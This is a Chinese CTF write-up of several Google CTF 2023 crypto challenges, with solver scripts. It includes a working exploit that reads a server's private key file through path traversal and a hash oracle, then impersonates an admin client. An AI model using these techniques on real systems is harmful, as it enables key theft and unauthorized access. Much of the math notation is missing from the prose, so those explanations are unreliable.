Google CTF 2023 WriteUps

發表於 分類於

今年在 TSJ 與 THC 的聯隊 TTT 中參加了 Google CTF，原本想說今年能多解點 web，不過實際上只解了 crypto 4 題和 web 1 題，不過沒解掉的題目中 crypto 有題算是解了一半， web 也有一題也就只差一個步驟而已 QQ。

crypto

LEAST COMMON GENOMINATOR?

這題有個 multi prime rsa，所有的質數都用一個 lcg 透過 rejection sampling 生成的，參數未知，不過 seed 已知且還有前六個輸出。所以直接從輸出回推 lcg 參數之後就能求出一樣的質數，然後就能 decrypt flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
with open("dump.txt") as f:
    nums = [int(l.strip()) for l in f]
    nums = [
        211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
    ] + nums


def get_n_mul(s0, s1, s2, s3):
    return (s2 - s1) ** 2 - (s3 - s2) * (s1 - s0)


def get_n(nums):
    n_muls = [get_n_mul(*nums[i : i + 4]) for i in range(0, len(nums) - 4)]
    return reduce(gcd, n_muls)


def lcg_recover(nums):
    n = get_n(nums)
    m = (nums[2] - nums[1]) * pow(nums[1] - nums[0], -1, n) % n
    c = (nums[1] - nums[0] * m) % n
    assert all((nums[i + 1] == (nums[i] * m + c) % n for i in range(len(nums) - 1)))
    return m, c, n


m, c, n = lcg_recover(nums)
print(f"{m = }")
print(f"{c = }")
print(f"{n = }")

然後把參數丟回原本的 script 算出質數來再解 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
key = RSA.import_key(open("public.pem").read())
primes = [
    6964450570065198027118448061962599095969292963451720606983076074110302247620361094481177336650245972387693336005120667581467488333027638118705008539730161,
    7109513965197777738721520789907575526136034746458175895732109137546481171865697500840378508918180196617036069476257074027995108145765959244529836549641993,
    7758154508395114989879950785752176334836698656046420925847088416774817812432659191047047708438059303423539646671584835156522194907603278157965955707005259,
    7955799783393765300984709531409964215101221994176999027251797780817998458393197830706475509797724088969852653876011767020597895098981645731673988999811477,
    8049144504671772187556553424691159710790891318598720019107386049196471499825470743225448919013622833022782797600720245991463382370047241689718971308017941,
    7987778116986381838775258565312725165121950830999324816847582213568425816373564731712259704074323632466001514291790772213690155362407596378791328567707167,
    7742807139391426401434854463005769878789338221498371127433759280276903959426344243059697341236161854231155869200509304579276312983038493231864184737415279,
    7008809633477108007104709300243139302645615208732682375658473606356527935080408259873753634627922136035847144744200184716721386652578226493417857596011803,
]
assert reduce(mul, primes) == key.n
phi = reduce(lambda x, y: x * y, [p - 1 for p in primes])
d = pow(key.e, -1, phi)
assert pow(2, phi, key.n) == 1
with open("flag.txt", "rb") as f:
    c = int.from_bytes(f.read(), "little")
    m = pow(c, d, key.n)
    print(m.to_bytes((m.bit_length() + 7) // 8, "big"))
# CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}

MYTLS

這題有個在 Python 自己實作的類似 MTLS 的 protocol，並且有提供幾把 key:

  • ca-crt.pem: CA 的 public key
  • guest-ecdhkey.pem: guest 的 private key
  • guest-ecdhcert.pem: guest 的 certificate
  • server-ecdhcert.pem: server 的 certificate
  • admin-ecdhcert.pem: admin 的 certificate

certificate 相當於是被 CA sign 過的 public key

它的流程大概是這樣:

sequenceDiagram
    Client->Server: Connection established

    Server->>Client: Server Cert
    Note over Client: Verify Server Cert
    Client->>Server: Client Cert
    Note over Server: Verify Client Cert
    Note over Client: Generate client random
    Client->>Server: Client random
    Note over Client: Generate <br> ephemeral key pair
    Client->>Server: Ephemeral client public key
    Note over Server: Generate server random
    Server->>Client: Server random
    Note over Server: Generate <br> ephemeral key pair
    Server->>Client: Ephemeral server public key

    Note over Client, Server: Exchange ephemeral key (ECDH) <br> to get ephemeral secret
    Note over Client, Server: Exchange key certificate (ECDH) <br> to get shared secret
    Note over Client, Server: Derive key using two secrets and random

    Client->>Server: HMAC(key, client_success_msg)
    Note over Server: Verify hmac
    Server->>Client: HMAC(key, server_success_msg)
    Note over Client: Verify hmac

    Client->Server: TLS Connection established

和 server 建立完加密連線後它會判斷 client certificate 的 subject 是否包含 CN=admin.mytls，如果是的話就會把 flag 傳給 client。不過如果要用 admin-ecdhcert.pem 連線的話一般要有對應的 private key 才行，而自己新增一個 public key 也做不到，因為 server 會用 CA public key 檢查 client 傳送過去的 certficate 是否是被 CA sign 過的。

在連線之後 server 端做的事有這些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
message = 'Hello guest!'
if 'CN=admin.mytls' in client_cert.subject.rfc4514_string():
    message = 'Hello admin! ' + _FLAG

print_encrypted(message, server_ephemeral_random, derived_key)
while True:
  print_encrypted(
      'Welcome to our write-only file storage!\n\n'
      'Select the storage slot [0-9]:',
      server_ephemeral_random, derived_key)
  storage_slot = input_encrypted(server_ephemeral_random, derived_key)
  path = os.path.join('/tmp/storage/', storage_slot.decode('utf-8'))
  print_encrypted('Gimme your secrets:', server_ephemeral_random,
                  derived_key)
  secret = input_encrypted(server_ephemeral_random, derived_key)
  with open(path, 'rb+') as f:
    h = hashlib.new('sha256')
    h.update(f.read())
    prev_hash = h.hexdigest()
    f.seek(0)
    f.write(secret)
    print_encrypted('Saved! Previous secret reference: ' + prev_hash,
                    server_ephemeral_random, derived_key)

其中有個 oracle 可以按照你指定的 path 開檔案 (有 path traversal)，然後輸出它的 hash 之後用你輸入的內容 override 掉那個檔案。然而這邊的 rb+ 在寫入的時候是不會 truncate 的。

例如原本檔案內容是 aaaaa，而你只寫了一個 b 的話檔案會變成 baaaa。所以透過這個性質去比較 hash 就能 byte by byte 讀整個檔案的內容。

看一下 Dockerfile 中在 server container 上有的檔案中除了 flag.txt 就只有 server-ecdhkey.pem，然而前者在 server 剛開始的時候就讀進記憶體且被刪了，所以能讀的就只有後者，也就是 server certificate 所對應的 private key。

這邊是連線的步驟和利用 oracle 去 leak server private key 的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import binascii
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import hmac
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
import hashlib
import os
from secrets import token_hex
import string
from pwn import remote, context

with open("ca-crt.pem", "rb") as ca_file:
    ca = x509.load_pem_x509_certificate(ca_file.read())
with open("server-ecdhcert.pem", "rb") as server_cert_file:
    server_cert_content = server_cert_file.read()
    server_cert = x509.load_pem_x509_certificate(server_cert_content)
with open("guest-ecdhcert.pem", "rb") as f:
    client_cert_content = f.read()
    client_cert = x509.load_pem_x509_certificate(client_cert_content)
with open("guest-ecdhkey.pem", "rb") as f:
    client_key = serialization.load_pem_private_key(f.read(), None, default_backend())


io = remote("mytls.2023.ctfcompetition.com", 1337)
io.recvuntil(b"Please provide the client certificate in PEM format:\n")
io.sendline(client_cert_content)

# Generate client random
client_ephemeral_random = token_hex(16).encode()  # not really
io.recvuntil(b"Please provide the ephemeral client random:")
io.sendline(client_ephemeral_random)

# Generate client ephemeral key
client_ephemeral_key = ec.generate_private_key(ec.SECP256R1(), default_backend())
client_ephemeral_public_key = client_ephemeral_key.public_key()

io.recvuntil(b"Please provide the ephemeral client key:")
io.sendline(
    client_ephemeral_public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
)

# Receive server ephemeral key
io.recvuntil(b"Server ephemeral random:\n")
server_ephemeral_random = io.recvline().strip()

# Receive server ephemeral key
io.recvuntil(b"Server ephemeral key:\n")
server_ephemeral_public_key_content = b""
while (line := io.recvline()) != b"\n":
    server_ephemeral_public_key_content += line
server_ephemeral_public_key = serialization.load_pem_public_key(
    server_ephemeral_public_key_content
)

# Exchange
client_ephemeral_secret = client_ephemeral_key.exchange(
    ec.ECDH(), server_ephemeral_public_key
)
client_secret = client_key.exchange(ec.ECDH(), server_cert.public_key())
derived_key = HKDF(
    algorithm=hashes.SHA256(), length=32, salt=b"SaltyMcSaltFace", info=b"mytls"
).derive(
    client_ephemeral_secret
    + client_secret
    + client_ephemeral_random
    + server_ephemeral_random
)

# Calculate Client HMAC
client_hmac = hmac.HMAC(derived_key, hashes.SHA256())
client_hmac.update(b"client myTLS successful!")
client_hmac_content = client_hmac.finalize()
io.recvuntil(b"Please provide the client HMAC:")
io.sendline(client_hmac_content.hex().encode())

# Verify Server HMAC
io.recvuntil(b"Server HMAC:\n")
server_hmac_content = bytes.fromhex(io.recvlineS().strip())
server_hmac = hmac.HMAC(derived_key, hashes.SHA256())
server_hmac.update(b"server myTLS successful!")
server_hmac.verify(server_hmac_content)

# mTLS established!


def recv_encrypted(io):
    ct = bytes.fromhex(io.recvlineS().strip())
    iv = server_ephemeral_random
    key = derived_key
    cipher = Cipher(algorithms.AES(key), modes.CBC(binascii.unhexlify(iv)))
    decryptor = cipher.decryptor()
    pt = decryptor.update(ct) + decryptor.finalize()
    return pt.rstrip(b"\x00")


def send_encrypted(io, msg):
    msg = msg + b"\x00" * (16 - len(msg) % 16)
    iv = server_ephemeral_random
    key = derived_key
    cipher = Cipher(algorithms.AES(key), modes.CBC(binascii.unhexlify(iv)))
    encryptor = cipher.encryptor()
    ct = encryptor.update(msg) + encryptor.finalize()
    io.sendline(ct.hex().encode())


# hello message
print(recv_encrypted(io).decode())


def poc():
    secret = b"x"  # guess the file prefix

    print(recv_encrypted(io).decode())
    send_encrypted(io, b"/app/server-ecdhkey.pem")
    print(recv_encrypted(io).decode())
    send_encrypted(io, secret)
    print(recv_encrypted(io).decode())  # hash 1

    print(recv_encrypted(io).decode())
    send_encrypted(io, b"/app/server-ecdhkey.pem")
    print(recv_encrypted(io).decode())
    send_encrypted(io, secret)
    print(recv_encrypted(io).decode())  # hash 2

    # if our guess is right, then two hash should be the same


target_file = b"/app/server-ecdhkey.pem"


def oracle(secret):
    # we do this twice as the server returns previous hash
    send_encrypted(io, target_file)
    send_encrypted(io, secret)
    recv_encrypted(io)
    recv_encrypted(io)
    recv_encrypted(io)

    send_encrypted(io, target_file)
    send_encrypted(io, secret)
    recv_encrypted(io)
    recv_encrypted(io)
    return recv_encrypted(io).decode().split("reference: ")[-1]


def oracle_batch(secrets):
    # batch query to reduce network latency
    for secret in secrets:
        send_encrypted(io, target_file)
        send_encrypted(io, secret)
        send_encrypted(io, target_file)
        send_encrypted(io, secret)
    for _ in secrets:
        recv_encrypted(io)
        recv_encrypted(io)
        recv_encrypted(io)
        recv_encrypted(io)
        recv_encrypted(io)
        yield recv_encrypted(io).decode().split("reference: ")[-1]


target_hash = oracle(b"")
charset = (
    "- " + string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/=\n"
)
known_content = b""

while True:
    ss = [known_content + c.encode() for c in charset]
    hs = list(oracle_batch(ss))
    for secret, h in zip(ss, hs):
        if h == target_hash:
            known_content = secret
            break
    else:
        print("Either EOF or charset is wrong")
        break
    print(known_content)
print(known_content.decode())

我知道我沒檢查 server certificate，因為我是直接從 fs 讀 server certificate 而不是從 socket 讀，所以沒差

等知道 server private key 之後要想想怎麼拿到 flag，因為檢查一下各個 certificate 可知唯一 subject 能過那個檢查的只有 admin-ecdhcert.pem，而我們剛剛得到的 private key 是 server 的而非 admin 的，應該沒用對吧...?

其實仔細再看著上面的流程圖想一遍，假設我們在一開始傳 client cert 的時候是用 admin-ecdhcert.pem 的話，遇到困難的點是在透過 certificate 去用 ECDH 算出 secret 的時候會有困難。然而根據 key exchange 的性質我們知道 exchange(client_priv, server_pub) == exchange(server_priv, client_pub)，這邊我們不知道的只有 client_priv (admin private key)，所以這邊改用前面 leak 出來的 server private key 和 admin cert 做 exchange 也能得到正確的 secret。

根據官方解法所述，這個攻擊叫做 Key Compromise Impersonation (KCI) attack。

所以最後把 script 修改一下就拿到 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import binascii
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import hmac
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
import hashlib
import os
from secrets import token_hex
import string
from pwn import remote, context

with open("ca-crt.pem", "rb") as ca_file:
    ca = x509.load_pem_x509_certificate(ca_file.read())
with open("server-ecdhcert.pem", "rb") as server_cert_file:
    server_cert_content = server_cert_file.read()
    server_cert = x509.load_pem_x509_certificate(server_cert_content)
with open("guest-ecdhcert.pem", "rb") as f:
    client_cert_content = f.read()
    client_cert = x509.load_pem_x509_certificate(client_cert_content)
with open("guest-ecdhkey.pem", "rb") as f:
    client_key = serialization.load_pem_private_key(f.read(), None, default_backend())
with open("server-ecdhkey.pem", "rb") as f:
    server_key = serialization.load_pem_private_key(f.read(), None, default_backend())
with open("admin-ecdhcert.pem", "rb") as f:
    admin_cert_content = f.read()
    admin_cert = x509.load_pem_x509_certificate(admin_cert_content)

context.log_level = "debug"

io = remote("mytls.2023.ctfcompetition.com", 1337)
io.recvuntil(b"Please provide the client certificate in PEM format:\n")
io.sendline(admin_cert_content)

# Generate client random
client_ephemeral_random = token_hex(16).encode()  # not really
io.recvuntil(b"Please provide the ephemeral client random:")
io.sendline(client_ephemeral_random)

# Generate client ephemeral key
client_ephemeral_key = ec.generate_private_key(ec.SECP256R1(), default_backend())
client_ephemeral_public_key = client_ephemeral_key.public_key()

io.recvuntil(b"Please provide the ephemeral client key:")
io.sendline(
    client_ephemeral_public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
)

# Receive server ephemeral key
io.recvuntil(b"Server ephemeral random:\n")
server_ephemeral_random = io.recvline().strip()

# Receive server ephemeral key
io.recvuntil(b"Server ephemeral key:\n")
server_ephemeral_public_key_content = b""
while (line := io.recvline()) != b"\n":
    server_ephemeral_public_key_content += line
server_ephemeral_public_key = serialization.load_pem_public_key(
    server_ephemeral_public_key_content
)

# Exchange
client_ephemeral_secret = client_ephemeral_key.exchange(
    ec.ECDH(), server_ephemeral_public_key
)
server_secret = server_key.exchange(ec.ECDH(), admin_cert.public_key())
derived_key = HKDF(
    algorithm=hashes.SHA256(), length=32, salt=b"SaltyMcSaltFace", info=b"mytls"
).derive(
    client_ephemeral_secret
    + server_secret
    + client_ephemeral_random
    + server_ephemeral_random
)


# Calculate Client HMAC
client_hmac = hmac.HMAC(derived_key, hashes.SHA256())
client_hmac.update(b"client myTLS successful!")
client_hmac_content = client_hmac.finalize()
io.recvuntil(b"Please provide the client HMAC:")
io.sendline(client_hmac_content.hex().encode())

# Verify Server HMAC
io.recvuntil(b"Server HMAC:\n")
server_hmac_content = bytes.fromhex(io.recvlineS().strip())
server_hmac = hmac.HMAC(derived_key, hashes.SHA256())
server_hmac.update(b"server myTLS successful!")
server_hmac.verify(server_hmac_content)

# mTLS established!


def recv_encrypted(io):
    ct = bytes.fromhex(io.recvlineS().strip())
    iv = server_ephemeral_random
    key = derived_key
    cipher = Cipher(algorithms.AES(key), modes.CBC(binascii.unhexlify(iv)))
    decryptor = cipher.decryptor()
    pt = decryptor.update(ct) + decryptor.finalize()
    return pt.rstrip(b"\x00")


def send_encrypted(io, msg):
    msg = msg + b"\x00" * (16 - len(msg) % 16)
    iv = server_ephemeral_random
    key = derived_key
    cipher = Cipher(algorithms.AES(key), modes.CBC(binascii.unhexlify(iv)))
    encryptor = cipher.encryptor()
    ct = encryptor.update(msg) + encryptor.finalize()
    io.sendline(ct.hex().encode())


# hello message
print(recv_encrypted(io).decode())
# CTF{KeyC0mpromiseAll0w51mpersonation}

PRIMES

這題 source code 很短，簡單來說它有個固定的質數 和一大堆小質數 都已知。接下來透過把 flag encode 成 bits ，計算

目標是從 還原出 flag。

看到這個我的第一想法是 multiplicative knapsack，也就是取 log 之後得到:

然後可以用 LLL 解之類的。但是這題的 並不是很 dlog friendly 所以我就放棄了這條路。

不過賽後聽別人說也可以用 partial dlog 得到一些資訊，而 density 不夠低的部分就靠爆一些 bit 和猜 flag format 解決

我是想了一下採取一條不同的路，就是:

代表 是個相當 smooth 的整數，所以取 然後用 coppersmith 對 求 small roots 理論上應該能找到解。

這邊要找到那個 unknown modulus 就是 本身，它顯然符合 ，不過這邊我不知道 到底有多大，所以就生幾個和原本一樣長的字串看看它大概幾個 bit，大概在 900~1500 bit 都有可能。而適合的 參數也是直接試出來，所以我就定 然後爆可能的 大小就找到解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
q = 0xD2F8711CB5502C512ACEA59BE181A8FCF12F183B540D9A6998BF66370F9538F7E39FC507545DAD9AA2E71D3313F0B4408695A0A2C03A790662A9BD01650533C584C90779B73604FB8157F0AB7C9A82E724700E5937D9FF5FCF1EE3BE1EDD7E07B4C0F035A58CC2B9DB8B79F176F595C1B0E90B7957309B96106A50A01B78171599B41C8744BCB1C0E6A24F60AE8946D37F4D4BD8CF286A336E1022996B3BA3918E4D808627D0315BFE291AEB884CBE98BB620DAA735B0467F3287D158231D
x = 0x947062E712C031ADD0B60416D3B87D54B50C1EFBC8DBB87346F960B242AF3DF6DD47406FEC98053A967D28FE91B130FF0FE93689122931F0BA6E73A3E9E6C873B8E2344A459244D1295E99A241E59E1EEA796E9738E6B1EDEED3D91AE6747E8ECA634C030B90B02BAF8AE0088058F6994C7CAC232835AC72D8B23A96F10EF03D74F82C49D4513423DAC298698094B5C631B9C7C62850C498330E9D112BB9CAA574AEE6B0E5E66D5B234B23C755AC1719B4B68133E680A7BCF48B4CFD0924D

def gen_primes(r, n):
    primes = Primes()[:n]
    bound = prod(primes[n - r:])
    return primes, next_prime(bound)

lm = 74
p, _ = gen_primes(131, lm * 7)

M = prod(p)
y = Zmod(M)["y"].gen()
f = (x + y * q).monic()
for b in range(900, 1500, 50):
    rs = f.small_roots(X=2**b, beta=0.40, epsilon=0.03)
    if rs:
        # I found answer at b = 1450
        print(b, rs)
        break
fs = [p for p, _ in gcd(ZZ(f(rs[0])), M).factor()]
bits = []
for pp in p:
    if pp in fs:
        bits.append(1)
    else:
        bits.append(0)
bits.reverse()
flag = bytes(
    [int("".join(map(str, bits[i : i + 7])), 2) for i in range(0, len(bits), 7)]
)[::-1]
print(flag)
# CTF{w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh}

CURSVED

這題簡單來說是基於 上一條 上的 group 所弄一個類 eddsa signature，目標是直接 forge signature。

這種題目我已經看過好多遍了，它的 order 是 代表它大概有個 homomorphism 可以把原本 curve point map 到 ，這樣可能比較好做 DLP。

首先:

有個 的 mapping 到 的 multiplicative group，然後帶入它的加法公式驗證一下:

可知它確實是 group homomorphism，所以原本的 變成 ，也就是個 的 DLP 問題。

分解一下 可知它是個 形式的 safe prime，所以 pohlig hellman 之類的攻擊都沒用。不過它這邊的 大概 253 bits，而 finite field 的 DLP 是可以透過 Number Field Sieve 相關的攻擊快速解決的，尤其是這題的質數大小相對算小了，所以直接呼叫 cado-nfs 解決。

cado-nfs 有個使用的技巧是第一次它會花費很多時間找許多的 relation 和解線性代數，不過解完之後它會留 snapshot 檔案下來，之後只要讓 cado-nfs 使用 snapshot 的檔案 (跑出結果的時候可以在它的訊息中找到 path)，那麼就算換 dlog target 也能很快的解出來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from sage.all import *
from pwn import remote
from chal import Curve, Priv
from subprocess import check_output
import ast

# generate cado-nfs snapshot with:
# cado-nfs.py -dlp -ell 11768463700042336292273890180302660989254097664036009733585033009225459108313 target=6995199833182080318718269901795376783328546073433342063509926122404606405798 23536927400084672584547780360605321978508195328072019467170066018450918216627
# and find the message starting with `If you want to compute one or several new target(s)` to get the snapshot file
# target probably doesn't matter
snapshot = "/tmp/cado.8enuuo06/p75.parameters_snapshot.0"

p = 0x34096DC6CE88B7D7CB09DE1FEC1EDF9B448D4BE9E341A9F6DC696EF4E4E213B3
ell = 11768463700042336292273890180302660989254097664036009733585033009225459108313
assert 2 * ell == p - 1
d = 3
F = GF(p)
sD = F(3).sqrt()
phi = lambda x, y: x - sD * y
g = phi(0x2, 0x1)

io = remote("cursved.2023.ctfcompetition.com", 1337)
io.recvuntil(b"pub = ")
pub = ast.literal_eval(io.recvlineS().strip())
io.recvuntil(b"nonce = ")
nonce = bytes.fromhex(io.recvlineS().strip())


y = phi(*pub)

gell = g**ell
yell = y**ell
x_mod_2 = int(yell.log(gell))

logbase = 9124582963071133528786001226298469992950948841420505614055341832865405446557
g2 = g**2
logg2 = 3825907694889401444121713872797773271827220109941494987822025998908276753583
assert F(logbase) ** logg2 == g2
y2 = y**2
logy2 = int(check_output(["cado-nfs.py", snapshot, f"target={y2}"]).strip().decode())
print(logy2)
assert F(logbase) ** logy2 == y2
x_mod_ell = logy2 * pow(logg2, -1, ell) % ell
assert g2**x_mod_ell == y2

x = int(crt([x_mod_2, x_mod_ell], [2, ell]))
assert g**x == y

C = Curve(p, d, p - 1)
G = C @ (0x2, 0x1)
priv = Priv(x, G)
R, S = priv.sign(nonce)
io.sendlineafter(b"sig = ", f"{R.x} {R.y} {S}")
io.interactive()
# CTF{pe11_conics_are_not_quite_e11iptic_curves}

*MHK2

解法

賽中這題算是解掉了一大半，不過剩下的部分沒能在時間中弄出來

這題實作了 A knapsack public-key cryptosystem using two random sequences 這邊 paper 所描述的 public key cryptosystem，而目標就是直接破解這套系統。

由於那篇 paper 是 paywalled 的，可以參考作者 writeup 中對於這個 cryptosystem 的描述。

這之所以叫 MHK2 是因為同作者之前還有個和它很類似的 cryptosystem: A systematic encryption algorithm for knapsack scheme using random sequence，簡稱 MHK。查一下相關 paper 可以找到 Equivalent key attack against a public-key cryptosystem based on subset sum problem，裡面有對於原本 MHK 的攻擊，而我閱讀了一下覺得它應該也能對 MHK2 起作用。

那個攻擊簡單來說是這樣的:

其中我們只知道 ，而 全部都未知。先改寫成:

透過 LLL 找 的 orthogonal lattice，記為 ，所以有:

這邊 都非零，且 互質，所以假設 中的向量 夠短符合 的話那麼 ，同時也代表 。也就是說 裡面有很多的向量同時也是 的 orthogonal vector。

那篇攻擊的 paper 也有證明說 中至少存在一個向量 不符合 ，而我實際測試發現基本上不符合的向量也只有一個，且它會出現在 LLL reduced basis 中的最後一個 (最大的那個)。

順帶一提，我發現 一般情況下等於 ，而同時 ，因為這樣才能符合 ，而且也不存在更小的整數解了 (不然會違背 互質的性質)

接下來就是對 扣掉最後一個向量找一次 orthogonal lattice，會得到兩個向量 ，可知 都在 所張的 lattice 中。

這邊只有兩個向量是一定的，首先 根據 rank-nullity theorem 可知 只會有 個向量，扣掉一個剩 ，再找一次 orthogonal lattice (kernel) 可知它的 rank 只有

那邊攻擊的論文中後面是直接去爆 的線性組合找 ，搜索範圍大概是 ，然而這題的 相對來說是有點大。

不過根據賽後討論，別隊也有人真的就完全按照這個做法，配合點方法優化是真的能找出 equivalent key 的。我自己再賽中也有用 z3 找出 equivalent key，不過可能是因為一些實作問題導致我用 equivalent key 解密出來的 bit 完全不對。

這邊開始就是我自己有些不同的做法了，首先先寫出幾個向量的關係:

這邊大小上 大概 、 大概 ，而 大概 ，所以 大概 而 大概

這邊 已知， 未知，帶入原本的等式:

把 的關係寫成矩陣:

所以目前有 6 個未知數，和兩個等式，顯然是解不出來的。不過根據題目的生成方法，我們知道 ( 代表 的第 個 component)，所以這樣又多一條等式，但還是不夠。

我這邊透過一些觀察發現到 恆成立，這部分的說明我到後面再補充。總之目前有 6 個未知數和 4 個等式，也就是說目前還不能完全確定出解是多少。不過前面有說 都是比較小的數字 ()，自然會看看有沒有辦法用 lattice 處理。

我這邊拿四條等式用 groebner basis 配合 resultant 湊一湊，真的有湊出一個只由 組成的 linear equation，且它的係數都有超過 以上，所以這邊就能直接用 LLL 求出 了。這樣就能算出 和 了，這樣就能求出原本的 private key，解密 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import ast

with open("output.txt") as f:
    pk = ast.literal_eval(f.readline())
    ct = ast.literal_eval(f.readline())


def find_ortho_zz(*vecs):
    assert len(set(len(v) for v in vecs)) == 1
    L = block_matrix(ZZ, [[matrix(vecs).T, matrix.identity(len(vecs[0]))]])
    print("LLL", L.dimensions())
    nv = len(vecs)
    L[:, :nv] *= 2**256
    L = L.LLL()
    ret = []
    for row in L:
        if row[:nv] == 0:
            ret.append(row[nv:])
    return matrix(ret)


def find_key(a):
    # a=e*s+p*k
    t1 = find_ortho_zz(a)
    assert t1 * vector(a) == 0
    # we assume that only t1[-1]*s!=0 and t1[-1]*k!=0
    # so the t1[:-1] is orthogonal to s and k
    # therefore s, k are spanned by u1, u2
    u1, u2 = find_ortho_zz(*t1[:-1])
    # suppose s=x1*u1+x2*u2, k=y1*u1+y2*u2
    # a=e*s+p*k=e*(x1*u1+x2*u2)+p*(y1*u1+y2*u2)
    #          =(e*x1+p*y1)*u1+(e*x2+p*y2)*u2
    #          =         v1*u1+         v2*u2
    v1, v2 = matrix([u1, u2]).solve_left(vector(a))
    print(f"{v1 = } {v2 = }")
    # now we expect to find integers x1, x2, y1, y2, e, p such that
    # matrix([
    #     [x1,y1],
    #     [x2,y2]
    # ])*vector([e,p])==vector([v1,v2])
    # sum(x1*u1+x2*u2)+2==p
    # so there are three equations and six unknowns

    # after some testing, I found that det([[x1,y1],[x2,y2]]) is either 1 or -1
    # so we have four equations and six unknowns, which means it is possible to reduce it to an single equation and two unknowns

    for det in [1, -1]:
        R = QQ["x1s, x2s, y1s, y2s, es, ps"]
        x1s, x2s, y1s, y2s, es, ps = R.gens()
        f1, f2 = matrix([[x1s, y1s], [x2s, y2s]]) * vector([es, ps]) - vector([v1, v2])
        f3 = x1s * y2s - x2s * y1s - det
        f4 = sum(x1s * u1 + x2s * u2) + 2 - ps
        gb = R.ideal([f1, f2, f3, f4]).groebner_basis()
        mul = reduce(lcm, [c.denom() for c, _ in gb[1]])
        eq = gb[1].resultant(f4, ps) * mul
        # this equations appear to be a linear equation in x1, x2
        # so we can solve it using LLL as x1, x2 are small
        print(eq)
        L = matrix(
            QQ,
            [
                [eq.constant_coefficient(), 1, 0, 0],
                [eq.coefficient({x1s: 1}), 0, 1, 0],
                [eq.coefficient({x2s: 1}), 0, 0, 1],
            ],
        )
        bounds = [1, 1, 2**66, 2**66]
        scale = [2**128 // x for x in bounds]
        Q = diagonal_matrix(scale)
        L *= Q
        L = L.LLL()
        L /= Q
        for row in L:
            if row[1] < 0:
                row = -row
            if row[0] == 0 and row[1] == 1:
                x1, x2 = row[2:]
                # while we should be able to plug the x1, x2 into the ideal the get full solution
                # but I found that the dimension of the ideal is 1, so we can't do that here
                # we just solve it manually
                s = (x1 * u1 + x2 * u2).change_ring(ZZ)
                p = sum(s) + 2
                e_cand1 = a[0] * pow(s[0], -1, p) % p
                e_cand2 = a[1] * pow(s[1], -1, p) % p
                if e_cand1 == e_cand2:
                    return s, e_cand1, p


s1, e1, p1 = find_key(pk["a1"])
print("key1 done")
s2, e2, p2 = find_key(pk["a2"])
print("key2 done")


def decrypt_bit(C1, C2):
    M1 = pow(e1, -1, p1) * C1 % p1
    M2 = pow(e2, -1, p2) * C2 % p2
    return (M1 + M2) % 2


def decrypt(ciphertext):
    plaintext_bin = ""
    for C1, C2 in ciphertext:
        plaintext_bin += str(decrypt_bit(C1, C2))

    split_bin = [plaintext_bin[i : i + 7] for i in range(0, len(plaintext_bin), 8)]

    plaintext = ""
    for seq in split_bin:
        plaintext += chr(int(seq, 2))
    return plaintext


print(decrypt(ct))
# CTF{faNNYPAcKs_ARe_4maZiNg_AnD_und3Rr@t3d}

關於 det(M) = ±1

